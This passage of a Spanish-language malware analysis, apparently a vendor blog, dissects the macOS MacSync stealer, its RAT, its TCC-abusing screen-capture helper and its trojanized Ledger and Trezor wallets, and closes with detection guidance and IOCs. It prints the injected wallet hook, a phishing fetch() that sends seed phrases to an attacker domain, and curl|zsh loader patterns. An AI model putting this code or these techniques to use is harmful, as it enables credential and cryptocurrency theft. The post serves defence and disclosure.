El agente se comunica por WebSocket sobre ese socket TLS, no por HTTP plano. Se abre con un protocolo de actualización HTTP/1.1 que lleva un Sec-WebSocket-Key y la versión 13, y luego ejecuta tramas JSON sobre la única conexión /agent/. El JSON nunca viaja sin cifrar por la red. Cada mensaje se envuelve en AES-256-CBC, con un IV aleatorio nuevo de 16 bytes antepuesto al texto cifrado, y todo el bloque se codifica en Base64 dentro de un campo msg=, de modo que una captura de paquetes se lee como uuid=<uuid>&msg=<base64>. La clave es el SHA-256 del token incorporado del agente, así que el token de la Figura 6 es también lo que descifra el tráfico. Los mensajes de registro y de envío de credenciales, antes de ese envoltorio, se construyen en el bucle de baliza:

    do {

      FUN_100001d9c(asStack_1510,"{");

      FUN_100001d5c(asStack_14f8,asStack_1510,"\"type\":\"ping\",\"version\":\"");

      ...

      FUN_100001d5c(asStack_14c8,asStack_14e0,"\",\"username\":\"");

      ...

      FUN_100001d5c(asStack_1498,asStack_14b0,"\",\"hostname\":\"");

      ...

      FUN_100001d5c(asStack_1408,asStack_1420,"\",\"ts\":");

      tVar10 = _time((time_t *)0x0);

      ...

      // if a stolen password is present, submit it:        

FUN_100001d5c(asStack_1600,asStack_1618,"\"type\":\"password\",\"password\":\"");

Fragmento de código 1: el bucle de baliza entry() ensamblando el registro ping (versión, nombre de usuario, nombre de equipo, sistema operativo, directorio de trabajo, marca de tiempo, token) y el envío de password que transmite el valor robado de ~/.local/.mpwd. Estas cadenas JSON se cifran luego con AES-256-CBC y se codifican en Base64 dentro del campo msg= antes de salir del equipo afectado, así que lo que ves aquí es el texto plano que construye el agente, no lo que aparece en la red.

La Figura 6 muestra adónde se comunica. El fragmento muestra qué envía. A partir de ahí, sus capacidades son las que esperarías de un implante completo, respaldadas por cadenas recuperadas y la tabla de importaciones:

  • Registro e inventario (UUID, nombre de usuario, nombre de equipo, SO, cwd, marca de tiempo, token de compilación)

  • Entrega de credenciales, lee ~/.local/.mpwd y lo envía como un mensaje {"type":"password"}

  • Ejecución remota de comandos mediante popen/system, que devuelve stdout, stderr, un indicador de éxito y cwd

  • Una shell interactiva completa mediante forkpty y /bin/zsh, que da acceso directo por teclado en lugar de comandos puntuales

  • Descarga y carga de archivos, ambas por fragmentos, y la carga usa el mismo esquema que el cargador usó contra /gate

  • Captura de pantalla, delegada al ayudante de la etapa 5 (descrito más abajo)

  • Seguimiento del estado de TCC mediante /tmp/.com.apple.tcc.prompted y /tmp/.com.apple.tcc.result

  • Autoeliminación mediante comando del servidor ("Client removed on request"), y persistencia por LaunchAgent

El identificador hexadecimal de 8 caracteres único por cada entrega, que nombra al binario, al paquete de captura y al LaunchAgent, es distinto en cada muestra que tenemos: 54a28156, 6c66fd27, dbfc21d4 y a3b73d35 en la víctima. El servidor genera ese identificador por cada compilación y lo codifica directamente en el AppleScript, por lo que nombra al binario, al paquete de captura, al identificador de firma de código y al LaunchAgent en un único conjunto coherente. El ayudante de captura se distribuye desde /loader/capture-agent con el token de compilación completo de 64 caracteres como identificador de paquete, y el instalador lo vuelve a firmar reduciéndolo a la forma hexadecimal de 8 caracteres en el proceso.

 De cualquier forma, el patrón persistente es la forma com.apple.<8hex>.hcpi[.plist], no un valor único.

Para capturar una captura de pantalla, el RAT no se vincula a ninguna API de captura por sí mismo. Alquila un ayudante firmado aparte, cuyo único propósito es robar un permiso de macOS.

Etapa 5: el agente de captura, un ayudante firmado creado para robar un permiso

La etapa 3 presenta este componente justo junto al RAT. Descarga /loader/capture-agent, lo descomprime, renombra el paquete a com.apple.<8hex>.capture.app, y lo vuelve a firmar de forma ad-hoc con --identifier com.apple.<8hex>.capture. Es un Mach-O de Objective-C de 84 KB llamado ScreenCap dentro de un .app mínimo, y su Info.plist es la primera señal:

CFBundleExecutable  = ScreenCap

CFBundleIdentifier  = com.apple.<token>.capture # (se hace pasar por Apple)

CFBundleName        = Screen Recording            # (nombre de visualización engañoso)

LSUIElement         = true                       # (agente en segundo plano, sin ícono en el Dock)

Las importaciones delatan el resto. No hay CGDisplayCreateImage, ni CGWindowListCreateImage, ni ScreenCaptureKit, ni red. Las importaciones relevantes son CGPreflightScreenCaptureAccess, CGRequestScreenCaptureAccess, un entorno de ejecución de app de Cocoa, y system. La captura se hace invocando un shell externo. Las cadenas decisivas, con las banderas de argv, son --tcc-only, --marker-path, -o, y /usr/sbin/screencapture -x '%s'.

El binario tiene dos modos, seleccionados por el argumento argv. 

  • En modo --tcc-only, aprovisiona el permiso de Screen Recording. Hace una verificación previa y, si el permiso aún no se ha otorgado (y un archivo marcador indica que no se ha solicitado antes), se pone en primer plano, llama a CGRequestScreenCaptureAccess() para activar el aviso del sistema TCC, registra el marcador y espera unos seis segundos a que el usuario haga clic en Allow. Escribe el resultado en /tmp/.com.apple.tcc.result. 

  • En modo -o <path>, realiza la captura. La ejecución externa depende de la verificación previa. Si el permiso no está otorgado actualmente, ejecuta /usr/sbin/screencapture -x '<path>' mediante system() y exige que la salida tenga al menos 65 bytes, el mínimo que descarta el PNG vacío que produce una captura denegada por TCC. Si el permiso ya está otorgado, omite la ejecución externa y solo valida un archivo existente en esa ruta.

Figura 7: El main() desensamblado del helper de captura, que ejecuta externamente /usr/sbin/screencapture -x después de la secuencia CGPreflight/CGRequest de TCC

El diseño resuelve el problema del atacante con macOS. Las capturas de pantalla están controladas por TCC y requieren un permiso explícito de Screen Recording vinculado a una identidad de código. Por eso distribuyen la captura como una .app separada y firmada, de modo que el permiso se vincule a una identidad estable, y nombran esa app "Screen Recording" con un identificador com.apple.*. Cuando se activa CGRequestScreenCaptureAccess(), macOS muestra "'Screen Recording' would like to record this computer's screen." Como el nombre real de la app es "Screen Recording", el aviso parece un diálogo nativo del sistema. 

La app se ejecuta de forma invisible (LSUIElement más una política de activación accesoria), realiza la captura real con el binario firmado screencapture de Apple en lugar de vincular API de captura, y se coordina con el RAT únicamente mediante archivos. macOS asocia los permisos de TCC a la identidad de firma de código, así que la refirma ad-hoc con com.apple.<8hex>.capture es precisamente lo que hace que un permiso de Screen Recording se mantenga entre ejecuciones.

¿Qué roba? La pantalla de la víctima. El helper no guarda secretos ni se comunica con ningún C2 propio. La captura de pantalla sale del equipo mediante la carga fragmentada del RAT de la etapa 4. Es una capacidad que el RAT toma prestada.

Capturar la pantalla es la última de las capacidades para "espiar el equipo". 

Etapa 6: Reescribir las apps de billetera en las que la víctima ya confía

Esta es una sola capacidad adaptada a cada app. Antes, en la etapa 3, tres ramas casi idénticas troyanizan cada una una app complementaria de billetera de hardware que la víctima ya tiene instalada. Cada rama hace lo siguiente, y solo si la app está presente (test -d /Applications/<app>.app):

  1. Descarga un payload de dos archivos (app.asar + Info.plist) desde agenticsora[.]com detrás de la misma api-key, esta vez con un User-Agent de Chrome falsificado más completo que el que envía el loader.

  2. Hace un recorrido completo del paquete antes de tocar nada. Copia la app instalada a /tmp, elimina la original de /Applications, mueve la copia de vuelta y solo entonces intercambia los dos archivos. Copiar el paquete fuera y de vuelta es lo que lo deja separado de la firma con la que se envió.

  3. Vuelve a firmar la app completa de forma ad hoc (codesign -f -s -) para que el paquete alterado se ejecute.

Unos segundos después de que la víctima abre la app de nuevo, el proceso principal troyanizado fuerza la navegación de su propia ventana a una página de phishing inyectada que reutiliza la marca de la propia wallet, recolecta la frase de recuperación BIP39 y la envía mediante POST (etiquetada con el token de la campaña) a /modules/wallets en un servidor de descarga controlado por el atacante.

El hash de ElectronAsarIntegrity del Info.plist nunca coincide con el app.asar enviado (el asar es específico por víctima, así que su hash cambia en cada compilación), lo que significa que no se confía en la integridad. La refirma ad hoc es lo que permite que el paquete alterado se ejecute en un equipo donde la app ya es de confianza. No hay exploit ni persistencia propia; se aprovecha de la app que el usuario ya confía y abre.

El par de Ledger: un solo payload reetiquetado

Ledger Wallet y Ledger Live son el mismo payload reetiquetado. De los 30 archivos en los dos asars desempaquetados, 26 son idénticos byte a byte, incluyendo todo el payload malicioso. Los cuatro restantes difieren y son todos archivos de soporte genuinos de Ledger. Que un main.bundle.js troyanizado sea idéntico byte a byte entre una compilación "2.133.0" y una "2.126.2" es la señal. Además, los metadatos concuerdan con los hashes también. Ambos Info.plists declaran CFBundleIdentifier com.ledger.live, incluyendo el que se instala en Ledger Wallet.app, y ambos archivos package.json nombran el proyecto ledger-live-desktop. El operador construyó un payload contra Ledger Live y lo apuntó a ambas apps.

Los paquetes principales genuinos de Ledger de dos versiones nunca coincidirían. El operador mantiene un proceso principal parchado y un kit de phishing, envueltos en metadatos específicos por objetivo.

La inyección en el proceso principal está marcada con el marcador en ruso del autor:

// ←=== ВСТАВЬТЕ СЮДА ===→              # ("INSERT HERE")

setTimeout(() => {

  e.loadURL("file://" + wL.default.join(__dirname, "recovery-step-1.html"));

}, 5000);                           

La página inyectada es un asistente de tres pasos: un falso error de actualización "Something went wrong", una imitación de la interfaz física de recuperación por botones de Ledger y, finalmente, un formulario de 24 campos "Enter your recovery phrase" que reutiliza el texto de confianza genuino de Ledger.

Figura 8: La página inyectada de Ledger Enter your recovery phrase (la cuadrícula de 24 campos para capturar la semilla) reconstruida en una estación de trabajo aislada a partir de recovery-step-3.html extraído del paquete troyanizado. El servidor de exfiltración y el token de la campaña se eliminaron antes de la renderización.

La exfiltración está en la propia página:

const words = Array.from(inputs).map(i => i.value.trim());

const token = 'e9967985...bd85bbe';

const targetUrl = 'hxxps://main.sdhomeinspectors[.]com/modules/wallets';

fetch(targetUrl, { method:'POST', cache:'no-cache',

  headers:{'Content-Type':'application/json'},

  body: JSON.stringify({ seedwords: words, token: token, app: 'ledger', url: location.href }) })

.then(r => { location.href = 'index.html'; })         # success -> back to the real app

.catch(e => { location.href = 'index.html'; });       # failure -> back to the real app anyway

Ya sea que el POST tenga éxito o falle, la página devuelve a la víctima a la aplicación real, de modo que nada parece estar mal.

La variante de Trezor: mismo kit, objetivo más estricto

Trezor Suite es una compilación paralela del mismo kit, adaptada a una aplicación mucho más grande (un asar de 74 MB con un diseño completo de Electron). El gancho del proceso principal sigue la misma idea con una mecánica distinta (10 segundos en lugar de 5, loadFile en lugar de loadURL), y la instalación es un poco más cuidadosa, ya que ejecuta xattr -cr sobre el paquete terminado para eliminar los atributos de cuarentena que ninguna de las ramas de Ledger se molesta en quitar. La compilación de Trezor también necesitó un paso adicional que las de Ledger no tenían. Trezor Suite aplica una lista de aceptados de orígenes más estricta, así que el operador insertó su servidor de destino directamente en la lista de orígenes permitidos del proceso principal para dejar pasar el fetch():

[...,"trezor.io","sldev.cz","invity.io","main.southcarolinacounselor[.]com",

 "api.github.com","api.dropboxapi.com",...]

El flujo de phishing es una aplicación de una sola página con JS y CSS externos, y una animación falsa de progreso de cinco pasos con un temporizador de 700ms, que va desde "Connecting to device" pasando por "Validating seed phrase" y "Restoring wallet data" hasta "Almost there". La exfiltración usa el mismo token, la misma ruta /modules/wallets, y el mismo esquema JSON, pero un servidor distinto controlado por el atacante (main.southcarolinacounselor[.]com) y app: trezor.

Figura 9: La página inyectada de Trezor "Enter your recovery seed", reconstruida por un analista en una estación de trabajo aislada a partir del archivo extraído recovery-step-1.html, con el servidor de exfiltración y el token de la campaña neutralizados. 

La compilación de Trezor también incluyó un error: recovery-step-1.html.bac, una copia de seguridad sobrante de la página de índice original de Trezor, que quedó dentro del paquete troyanizado. Pequeños descuidos de seguridad operacional como ese, y el marcador ВСТАВЬТЕ СЮДА en el payload de Ledger, son las huellas del autor.

Tener la frase es tener la cuenta. Cada cuenta derivada de esa semilla queda bajo el control del operador, de forma permanente, sin necesidad de dispositivo y sin posibilidad de restablecimiento. Por eso esta etapa importa más que el robo de cookies del navegador que la precedió.

Los dos dominios de entrega de semillas (sdhomeinspectors[.]com y southcarolinacounselor[.]com) están registrados por el atacante, pese a sus nombres aparentemente inofensivos de pequeños negocios. VirusTotal muestra que ambos fueron reregistrados a través de Unstoppable Domains el 13 de febrero de 2026, aproximadamente cinco meses antes de la intrusión, y ambos están detrás del mismo frente de Cloudflare que los dominios de entrega. En sus registros WHOIS más recientes, los cuatro dominios (los dos de entrega y los dos de destino) comparten la misma huella de registrante con privacidad redactada, lo cual es consistente con un solo operador detrás de todo esto (considerando el servicio de privacidad compartido). Ambos nombres de destino tuvieron vidas previas no relacionadas antes de la campaña: sdhomeinspectors[.]com apuntaba a infraestructura de aparcamiento de dominios desde 2019, y southcarolinacounselor[.]com pasó por un mercado de dominios (un listado en dan[.]com en 2023, una tienda no relacionada en 2024) antes de que el operador lo tomara y lo apuntara hacia Cloudflare.

Seis etapas, una sola operación. Antes de compartir la guía de detección, unamos todo.

Infraestructura y tácticas: tres niveles, un solo operador

MacSync opera en tres niveles distintos, además de los dominios de destino de frases semilla:

  • Entrega - agenticsora[.]com y malwareaudit[.]com, ambos con frente de Cloudflare y origen PHP, que sirven el loader, el ladrón de AppleScript, el agente, el ayudante de captura y los payloads de carteras.

  • Panel del operador - 103.216.221[.]95, registrado en el archivo info del beacon de la etapa 3 y en ningún otro lugar de las muestras.

  • Comando y control del RAT - 85.206.161[.]241:8443, una IP directa sobre TLS, codificada únicamente en el agente Mach-O.

  • Destinos de semillas - Dos dominios registrados por el atacante (sdhomeinspectors[.]com, southcarolinacounselor[.]com) reciben frases de recuperación robadas en /modules/wallets.

El token por compilación conecta el loader, el robo del llavero, el agente de captura y los payloads de carteras de forma textual, y vincula el RAT a través de su URL de entrega (/loader/agent/<token>) y el token que reporta al conectarse, aunque el binario del RAT lleva su propio token de autenticación de C2 separado. 

Además: la api-key compartida (9dd465d26c7d86b4a6f514a4b46b2295), el endpoint compartido /curl en dos dominios, los payloads de Ledger idénticos byte a byte, el esquema compartido /modules/wallets, y una sola huella de registrante WHOIS en los dominios de entrega y de destino por igual. Todo apunta en una sola dirección.

Los artefactos del desarrollador ruso (ВСТАВЬТЕ СЮДА para "INSERT HERE", Анимация цифр para "number animation"), la automarca ("MacSync Stealer," version 1.1.2_release), y las técnicas de robo en macOS ubican a MacSync dentro del linaje de AMOS/Atomic Stealer. Esto es un parecido familiar, no una atribución a un actor identificado. 

Vale la pena ser específico sobre este parecido, porque gran parte de la etapa 3 es el manual de AMOS. Un cuerpo de AppleScript ejecutado mediante osascript. Una falsa solicitud de contraseña de Preferencias del Sistema validada contra dscl . authonly, de modo que el operador solo conserva una contraseña que funciona. Claves de Safe Storage extraídas del llavero de inicio de sesión para descifrar lo que recolectó el robo del navegador. La misma lista de recolección: perfiles de Chromium, perfiles de Gecko, docenas de extensiones de carteras, aplicaciones de carteras de escritorio, el tdata de Telegram, y los propios archivos del llavero. Incluso la entrega coincide, un resultado de búsqueda envenenado y un comando curl pegado, que es la misma ruta que documentamos para AMOS en conversaciones envenenadas de ChatGPT y Grok. Si has cazado AMOS en macOS, la etapa 3 no te sorprenderá.

Lo que ocurre a ambos lados de la etapa 3 es donde MacSync va más allá. El cuerpo del stealer nunca llega al endpoint, porque el operador lo entrega desde /dynamic detrás de una api-key y puede cambiarla cuando quiera. Una ejecución común de stealer termina cuando se sube el archivo, mientras que este instala un implante nativo en C++ con una shell interactiva, alquila un ayudante firmado por separado para conseguir un permiso de Screen Recording, y reescribe las propias apps de billetera de la víctima para robar la frase semilla mediante phishing. Esa última pieza es lo que lo saca de la categoría de robo rápido. Un stealer que copia un directorio de billetera todavía necesita la contraseña de la billetera, mientras que MacSync espera a que la víctima escriba la frase de recuperación en lo que parece ser su propio Ledger.

Detección y respuesta: qué es duradero, qué cambia por compilación

Empieza por lo que no debes perseguir. Los hashes de archivo y los identificadores de 8 caracteres hexadecimales por entrega cambian en cada compilación, así que tienen poco valor por sí solos. Enfócate en los comportamientos, que no cambian:

  • curl -k con una URL decodificada en Base64 enviada por tubería a zsh, la ejecución del loader y su persistencia en ~/.zshrc.

  • curl .../dynamic | osascript, el puente de descarga y ejecución hacia el stealer del lado del servidor.

  • Un archivo com.apple.<8hex>.hcpi bajo ~/.local con un ~/.local/.mpwd a su lado y un plist de LaunchAgent cuyos ProgramArguments apuntan a él. La etiqueta y el nombre de archivo del plist son com.apple.<8hex> solo cuando el agente no encuentra un actualizador de terceros que suplantar, y de lo contrario toman prestado un nombre de proveedor real (Google Keystone, Adobe, Microsoft AutoUpdate, Dropbox, Spotify, Grammarly, JetBrains), así que enfócate en el archivo ~/.local/com.apple.<8hex>.hcpi y el .mpwd asociado, en lugar de solo una etiqueta com.apple.*.

  • /usr/sbin/screencapture -x invocado por un proceso padre que no es de Apple, junto con un com.apple.<8hex>.capture.app y archivos marcadores /tmp/.com.apple.tcc.*.

  • Una firma ad hoc (codesign -f -s -, sin Team ID) en una app que debería tener una firma de proveedor, especialmente un administrador de billetera, con un hash ElectronAsarIntegrity que no coincide con el app.asar en disco, además de archivos recovery-step-* inyectados.

  • Solicitudes POST salientes con un cuerpo JSON seedwords hacia una ruta /modules/wallets.

Conclusión

MacSync usa un manual de juego de stealer de Windows adaptado a macOS, con un troyano de billetera añadido donde está el dinero. Las piezas individuales no son exóticas (un loader curl|zsh, un stealer en AppleScript, un implante LaunchAgent), pero el operador las encadenó de forma limpia, mantuvo la lógica valiosa del lado del servidor detrás de una puerta, separó la entrega del control en vivo entre infraestructuras distintas, y agregó la única capacidad que convierte un robo de datos en una pérdida irreversible: reescribir las propias apps de billetera de la víctima para robar la frase semilla mediante phishing.

Las firmas no podrán seguirle el ritmo a un loader que se re-aleatoriza en cada compilación. Los comportamientos sí. Vigila las formas de las solicitudes, la suplantación com.apple.* en archivos firmados ad hoc, y los permisos de TCC que se asignan a paquetes recién refirmados, y a MacSync le queda muy poco espacio para esconderse.

Indicadores de compromiso (IOC)

Los indicadores de red y los hashes de archivo se incluyen a continuación. Los hashes de archivo por compilación y los identificadores de 8 caracteres hexadecimales tienen poco valor por sí solos (cambian en cada compilación) y se incluyen para completar la información. Prioriza los indicadores de comportamiento y de red.

Red

Elemento

Descripción

agenticsora[.]com

C2 de entrega (con Cloudflare al frente, origen PHP)

malwareaudit[.]com

Mismo endpoint de carga /curl/<token> 

hxxp://agenticsora[.]com/curl/<token>

Entrega el cargador de zsh

hxxp://agenticsora[.]com/dynamic?txd=<token>[&pwd=<pw>]

AppleScript de la etapa 3, canalizado a osascript

hxxp://agenticsora[.]com/gate?buildtxd=<token>&upload_id=...

Exfiltración mediante PUT fragmentado

hxxps://agenticsora[.]com/loader/agent/<token>

RAT Mach-O

hxxps://agenticsora[.]com/loader/capture-agent/<token>

Herramienta auxiliar de captura de pantalla

hxxps://agenticsora[.]com/ledger/<token>

/ledger/live/<token>

/trezor/<token>

Cargas útiles troyanizadas de billeteras

85.206.161[.]241:8443

C2 del RAT (TLS, ruta /agent/)

103.216.221[.]95

IP del operador o panel (registrada en la señal de la etapa 3)

main.sdhomeinspectors[.]com/modules/wallets

Punto de entrega de semillas (registrado por el atacante)

main.southcarolinacounselor[.]com/modules/wallets

Punto de entrega de semillas (registrado por el atacante)

Artefactos del sistema y del sistema de archivos

Elemento

Descripción

/tmp/macsync_<token>.lock

Mutex de instancia única (el origen del nombre de la familia)

/tmp/osalogging.zip

Archivo de recolección preparado (se sube y luego se elimina)

/tmp/sync<random>/

Directorio raíz de preparación de la recolección

/tmp/.kgrab.sh

/tmp/.kpwd

Script de robo del Keychain Safe Storage y archivo temporal de contraseña (se elimina después de usarse)

~/.zshrc

Persistencia: línea de recarga curl|zsh envuelta en base64 (se agrega en la primera ejecución y se restaura en la segunda)

~/.local/com.apple.<8hex>.hcpi

RAT depositado (ID de equipo a3b73d35)

~/.local/.mpwd

Contraseña de cuenta capturada y leída por el RAT

~/.local/com.apple.<8hex>.capture.app

Ayudante de captura de pantalla (CFBundleName "Screen Recording")

~/Library/LaunchAgents/com.apple.<8hex>.hcpi.plist

Persistencia (RunAtLoad, KeepAlive)

/tmp/.com.apple.tcc.prompted /tmp/.com.apple.tcc.result

Archivos de estado/enlace (handshake) de TCC

/Applications/{Ledger Wallet,Ledger Live,Trezor Suite}.app

Troyanizados en el lugar, resignados de forma ad hoc; archivos recovery-step-* inyectados

/usr/sbin/screencapture -x

Captura silenciosa invocada por un proceso principal que no es de Apple

Hashes de archivos (SHA-256)

Archivo

SHA-256

AppleScript dinámico 

3db8befc08dc02ab7a76b5193abd81653775e8f3ceac5864c7c2188b2dbd3c54

RAT del Agent (Mach-O universal)

3ae26ed89d3a1a140edc89ca78513aba2895789ed0d0f64cad6605b6f2347c7e

Paquete del agente de captura

78dea0693ac2d70bdf8be7588667a75910e43fd84397ad484e710e37369a30f7

ScreenCap (Mach-O)

9c09c303fa058c2d3e179969bd58ca5523775ff2d310fb2f8266ac74cb21ee81

Payload troyano de Ledger Wallet

071bd109208eb1080ef525b5be394244cec467c59ffef5b8782cfb5e4850401d

Payload troyano de Ledger Live

31566a1df7070f30cb990aa5eab310c1d4e0266c8776e9438138e5438ec1cff8

Payload troyano de Trezor Suite

230dff4bf9442a951dcd6898b2110924969a20668c20a43e3ceed6fcef65963e

MITRE ATT&CK

Táctica

Técnica

ID

Ejecución

Intérprete de comandos y secuencias de comandos: Unix Shell (zsh, do shell script, popen/forkpty)

T1059.004

Ejecución

Intérprete de comandos y secuencias de comandos: AppleScript

T1059.002

Ejecución

Ejecución por parte del usuario (diálogos falsos de FDA/contraseña/TCC)

T1204

Evasión de defensas

Desofuscar/decodificar archivos o información (base64 + gzip, .kgrab.sh)

T1140

Evasión de defensas

Archivos o información ofuscados (cargador polimórfico por compilación)

T1027

Evasión de defensas

Enmascaramiento (com.apple.*, "Screen Recording", ventana genuina de wallet)

T1036

Evasión de defensas

Subvertir controles de confianza (firma de código ad-hoc

-f -s -

y manipulación de la lista de aceptados CSP de Trezor)

T1553

Evasión de defensas

Abuso del mecanismo de control de elevación / seguimiento de estado TCC

T1548

Evasión de defensas

Eliminación de indicadores: eliminación de archivos

T1070.004

Acceso a credenciales

Credenciales de almacenes de contraseñas: Keychain

T1555.001

Acceso a credenciales

Credenciales de navegadores web (claves de Safe Storage)

T1555.003

Acceso a credenciales

Robo de cookies de sesión web

T1539

Acceso a credenciales

Credenciales sin protección en archivos (.mpwd, .ssh, .aws, seed, kdbx)

T1552.001

Acceso a credenciales

Captura de entrada: captura de entrada por GUI (formulario falso de recuperación)

T1056.002

Recolección

Datos del sistema local

T1005

Recolección

Datos preparados: preparación local de datos (/tmp/sync<rand>/)

T1074.001

Recolección

Archivado de datos recolectados mediante utilidad (ditto)

T1560.001

Recolección

Captura de pantalla (/usr/sbin/screencapture)

T1113

Descubrimiento

Descubrimiento de información del sistema (system_profiler)

T1082

Persistencia

Creación o modificación de procesos del sistema: Launch Agent

T1543.001

Persistencia

Compromiso de binario de software (reemplazo del app.asar del wallet)

T1554

Comando y control

Protocolo de capa de aplicación: protocolos web

T1071.001

Comando y control

Canal cifrado: criptografía asimétrica (TLS de OpenSSL incluido)

T1573.002

Comando y control

Puerto no estándar (8443 hacia una IP directa)

T1571

Comando y control

Transferencia de herramientas de entrada (descarga fragmentada)

T1105

Exfiltración

Exfiltración mediante canal C2 (PUT fragmentado a /gate)

T1041

Exfiltración

Exfiltración mediante servicio web (POST de la frase semilla del wallet a dominios de destino propiedad del atacante)

T1567

Impacto

Robo financiero (dirigido a wallet/seed-phrase)

T1657

También te podría interesar

Más información sobre Cómo funcionan los ataques de ransomware y cómo mantenerte un paso adelante
Cómo funcionan los ataques de ransomware y cómo mantenerte un paso adelante
Blog

Ningún endpoint es inmune. El ransomware está afectando a empresas de todos los tamaños, y la doble extorsión se ha convertido en la norma. Así puedes desglosar cómo son realmente estos ataques para mantenerte un paso adelante.

Más información sobre OpenClaw, agentes descontrolados e higiene de aplicaciones
OpenClaw, agentes descontrolados e higiene de aplicaciones
Blog

Los agentes de IA de OpenClaw representan un riesgo de seguridad en los inquilinos de Microsoft porque a menudo reciben permisos de cloud amplios y de alto impacto que un atacante podría heredar de inmediato si el agente se ve comprometido. Descubre por qué la higiene proactiva de aplicaciones, que incluye el monitoreo continuo y la reducción de permisos innecesarios, es esencial para gestionar esta amenaza basada en identidad.

Más información sobre Ataques de phishing usan páginas de navegador dentro del navegador y persistencia con RMM fraudulento
Ataques de phishing usan páginas de navegador dentro del navegador y persistencia con RMM fraudulento
Blog

Descubre cómo un ataque de phishing con navegador dentro del navegador llevó a persistencia con ScreenConnect fraudulento y tácticas de evasión que Huntress detectó en plena acción.